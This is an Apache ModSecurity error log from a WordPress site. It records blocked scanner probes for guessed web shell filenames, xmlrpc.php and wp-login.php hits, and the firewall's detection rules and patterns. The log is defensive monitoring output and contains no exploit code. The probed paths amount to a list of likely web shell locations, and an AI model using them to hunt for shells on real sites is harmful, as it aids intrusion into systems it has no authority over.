[Thu Apr 02 03:06:19.259549 2026] [:error] [pid 8387:tid 8449] [client 95.217.109.26:6754] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ac1sqxdQYJ2y8LDYkv9JEgAAAAk"]
[Thu Apr 02 03:06:21.902681 2026] [:error] [pid 8035:tid 8052] [client 95.217.109.26:6774] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ac1srQY2zflwGmvw_QYV9wAAAIw"]
[Thu Apr 02 03:06:24.620150 2026] [:error] [pid 8387:tid 8459] [client 95.217.109.26:6804] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ac1ssBdQYJ2y8LDYkv9JHAAAABI"]
[Thu Apr 02 03:06:34.863223 2026] [:error] [pid 8036:tid 8097] [client 95.217.109.26:46008] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ac1sukMvKg9PFa_VV4z-NAAAANQ"]
[Thu Apr 02 03:06:37.420740 2026] [:error] [pid 8387:tid 8455] [client 95.217.109.26:36146] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ac1svRdQYJ2y8LDYkv9JQAAAAA4"]
[Thu Apr 02 03:06:40.016021 2026] [:error] [pid 8387:tid 8448] [client 95.217.109.26:36152] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ac1swBdQYJ2y8LDYkv9JRwAAAAg"]
[Thu Apr 02 03:07:13.068786 2026] [:error] [pid 16761:tid 16764] [client 95.217.109.26:3454] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mega%20slot.aspx"] [unique_id "ac1s4d4bJXDGRqKZnzyEigAAAEA"]
[Thu Apr 02 03:07:15.812441 2026] [:error] [pid 8035:tid 8054] [client 95.217.109.26:3466] [client 95.217.109.26] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "ac1s4wY2zflwGmvw_QYWSgAAAI4"]
[Thu Apr 02 06:53:24.182402 2026] [:error] [pid 37543:tid 37547] [client 95.136.110.80:48598] [client 95.136.110.80] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 95.136.110.80, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "ac2h5Hhdk2bEYJCvILYzQgAAAUI"]
[Thu Apr 02 11:10:00.127529 2026] [:error] [pid 59305:tid 59310] [client 43.130.14.245:37204] [client 43.130.14.245] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ac3eCKr2tV4rDwKFxKdtZAAAAME"]
[Thu Apr 02 13:15:13.775306 2026] [:error] [pid 23927:tid 23937] [client 4.213.99.137:1525] [client 4.213.99.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.213.99.137, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ac37YUsZwqCndhl9uKAEZQAAAYg"]
[Thu Apr 02 13:15:27.366591 2026] [:error] [pid 23927:tid 23935] [client 4.213.99.137:2008] [client 4.213.99.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "ac37b0sZwqCndhl9uKAEfQAAAYY"]
[Thu Apr 02 13:16:29.685189 2026] [:error] [pid 29467:tid 29472] [client 4.213.99.137:1500] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/txets.php"] [unique_id "ac37rb4VUBFCJAq-WOmb6gAAAQI"]
[Thu Apr 02 13:16:29.966332 2026] [:error] [pid 37543:tid 37569] [client 4.213.99.137:1504] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/txets.php"] [unique_id "ac37rXhdk2bEYJCvILZ8IgAAAVg"]
[Thu Apr 02 13:16:30.317732 2026] [:error] [pid 59200:tid 59263] [client 4.213.99.137:1989] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/txets.php"] [unique_id "ac37rrfP26txrdLs3EoyYwAAAFc"]
[Thu Apr 02 13:16:30.785364 2026] [:error] [pid 54384:tid 54398] [client 4.213.99.137:1988] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/txets.php"] [unique_id "ac37rtWWpaby3TVN7MePIAAAAcw"]
[Thu Apr 02 13:16:31.089560 2026] [:error] [pid 54384:tid 54409] [client 4.213.99.137:1503] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "ac37r9WWpaby3TVN7MePIQAAAdc"]
[Thu Apr 02 13:16:31.371186 2026] [:error] [pid 54384:tid 54400] [client 4.213.99.137:1523] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "ac37r9WWpaby3TVN7MePIwAAAc4"]
[Thu Apr 02 13:16:31.678898 2026] [:error] [pid 23927:tid 23945] [client 4.213.99.137:1506] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "ac37r0sZwqCndhl9uKAFcgAAAZA"]
[Thu Apr 02 13:16:31.963011 2026] [:error] [pid 23927:tid 23939] [client 4.213.99.137:1486] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/tt.php"] [unique_id "ac37r0sZwqCndhl9uKAFcwAAAYo"]
[Thu Apr 02 13:16:32.261834 2026] [:error] [pid 29467:tid 29482] [client 4.213.99.137:1515] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac37sL4VUBFCJAq-WOmb7AAAAQw"]
[Thu Apr 02 13:16:32.554672 2026] [:error] [pid 59201:tid 59284] [client 4.213.99.137:1991] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac37sMAC0Tw8eL6gzZ7LCgAAAJE"]
[Thu Apr 02 13:16:32.841759 2026] [:error] [pid 37543:tid 37554] [client 4.213.99.137:1516] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac37sHhdk2bEYJCvILZ8JgAAAUk"]
[Thu Apr 02 13:16:33.121925 2026] [:error] [pid 59201:tid 59267] [client 4.213.99.137:1502] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "ac37scAC0Tw8eL6gzZ7LDQAAAIA"]
[Thu Apr 02 13:16:33.442126 2026] [:error] [pid 54384:tid 54408] [client 4.213.99.137:2030] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "ac37sdWWpaby3TVN7MePKwAAAdY"]
[Thu Apr 02 13:16:33.766126 2026] [:error] [pid 54384:tid 54401] [client 4.213.99.137:1244] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "ac37sdWWpaby3TVN7MePLQAAAc8"]
[Thu Apr 02 13:16:34.056907 2026] [:error] [pid 37543:tid 37560] [client 4.213.99.137:1220] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "ac37snhdk2bEYJCvILZ8JwAAAU8"]
[Thu Apr 02 13:16:34.343343 2026] [:error] [pid 59305:tid 59333] [client 4.213.99.137:1488] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/path.php"] [unique_id "ac37sqr2tV4rDwKFxKeuigAAANg"]
[Thu Apr 02 13:16:34.639342 2026] [:error] [pid 59305:tid 59319] [client 4.213.99.137:2027] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "ac37sqr2tV4rDwKFxKeuiwAAAMo"]
[Thu Apr 02 13:16:34.938251 2026] [:error] [pid 29467:tid 29491] [client 4.213.99.137:1994] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "ac37sr4VUBFCJAq-WOmb7gAAARU"]
[Thu Apr 02 13:16:35.225078 2026] [:error] [pid 37543:tid 37551] [client 4.213.99.137:1241] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "ac37s3hdk2bEYJCvILZ8KQAAAUY"]
[Thu Apr 02 13:16:35.510536 2026] [:error] [pid 59305:tid 59310] [client 4.213.99.137:1494] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wdf.php"] [unique_id "ac37s6r2tV4rDwKFxKeujQAAAME"]
[Thu Apr 02 13:16:35.805624 2026] [:error] [pid 59201:tid 59286] [client 4.213.99.137:2045] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "ac37s8AC0Tw8eL6gzZ7LDgAAAJM"]
[Thu Apr 02 13:16:36.107061 2026] [:error] [pid 29467:tid 29486] [client 4.213.99.137:1482] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "ac37tL4VUBFCJAq-WOmb8wAAARA"]
[Thu Apr 02 13:16:36.388969 2026] [:error] [pid 29467:tid 29470] [client 4.213.99.137:1489] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "ac37tL4VUBFCJAq-WOmb9gAAAQA"]
[Thu Apr 02 13:16:36.682807 2026] [:error] [pid 37543:tid 37548] [client 4.213.99.137:1517] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/fleen.php"] [unique_id "ac37tHhdk2bEYJCvILZ8LQAAAUM"]
[Thu Apr 02 13:16:36.992526 2026] [:error] [pid 37543:tid 37566] [client 4.213.99.137:1528] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "ac37tHhdk2bEYJCvILZ8LgAAAVU"]
[Thu Apr 02 13:16:37.279448 2026] [:error] [pid 59201:tid 59280] [client 4.213.99.137:1102] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "ac37tcAC0Tw8eL6gzZ7LEAAAAI0"]
[Thu Apr 02 13:16:37.565326 2026] [:error] [pid 23927:tid 23936] [client 4.213.99.137:1509] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "ac37tUsZwqCndhl9uKAFiQAAAYc"]
[Thu Apr 02 13:16:37.920470 2026] [:error] [pid 59201:tid 59289] [client 4.213.99.137:2000] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-tem.php"] [unique_id "ac37tcAC0Tw8eL6gzZ7LEQAAAJY"]
[Thu Apr 02 13:16:38.203862 2026] [:error] [pid 23927:tid 23944] [client 4.213.99.137:2003] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "ac37tksZwqCndhl9uKAFiwAAAY8"]
[Thu Apr 02 13:16:38.514958 2026] [:error] [pid 23927:tid 23943] [client 4.213.99.137:1492] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "ac37tksZwqCndhl9uKAFjAAAAY4"]
[Thu Apr 02 13:16:38.823028 2026] [:error] [pid 59201:tid 59269] [client 4.213.99.137:1216] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "ac37tsAC0Tw8eL6gzZ7LEgAAAII"]
[Thu Apr 02 13:16:39.114799 2026] [:error] [pid 54384:tid 54410] [client 4.213.99.137:1493] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/av6m.php"] [unique_id "ac37t9WWpaby3TVN7MePOQAAAdg"]
[Thu Apr 02 13:16:39.461980 2026] [:error] [pid 59201:tid 59268] [client 4.213.99.137:1480] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "ac37t8AC0Tw8eL6gzZ7LEwAAAIE"]
[Thu Apr 02 13:16:39.768251 2026] [:error] [pid 59305:tid 59318] [client 4.213.99.137:2007] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "ac37t6r2tV4rDwKFxKeujwAAAMk"]
[Thu Apr 02 13:16:40.060133 2026] [:error] [pid 59305:tid 59320] [client 4.213.99.137:1995] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "ac37uKr2tV4rDwKFxKeukQAAAMs"]
[Thu Apr 02 13:16:40.357764 2026] [:error] [pid 59305:tid 59317] [client 4.213.99.137:1996] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/autogooey.php"] [unique_id "ac37uKr2tV4rDwKFxKeukwAAAMg"]
[Thu Apr 02 13:16:40.657179 2026] [:error] [pid 59305:tid 59324] [client 4.213.99.137:2009] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "ac37uKr2tV4rDwKFxKeulQAAAM8"]
[Thu Apr 02 13:16:40.946244 2026] [:error] [pid 23927:tid 23945] [client 4.213.99.137:1535] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "ac37uEsZwqCndhl9uKAFkgAAAZA"]
[Thu Apr 02 13:16:41.233845 2026] [:error] [pid 54384:tid 54408] [client 4.213.99.137:2006] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "ac37udWWpaby3TVN7MePPQAAAdY"]
[Thu Apr 02 13:16:41.528384 2026] [:error] [pid 59194:tid 59214] [client 4.213.99.137:1257] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/btx25.php"] [unique_id "ac37uRMpAeV11hcQehwLoAAAAAE"]
[Thu Apr 02 13:16:41.843718 2026] [:error] [pid 59200:tid 59263] [client 4.213.99.137:1527] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "ac37ubfP26txrdLs3EoybwAAAFc"]
[Thu Apr 02 13:16:42.177400 2026] [:error] [pid 59201:tid 59290] [client 4.213.99.137:1227] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "ac37usAC0Tw8eL6gzZ7LFwAAAJc"]
[Thu Apr 02 13:16:42.493561 2026] [:error] [pid 23927:tid 23939] [client 4.213.99.137:2005] [client 4.213.99.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mga.php"] [unique_id "ac37uksZwqCndhl9uKAFlwAAAYo"]
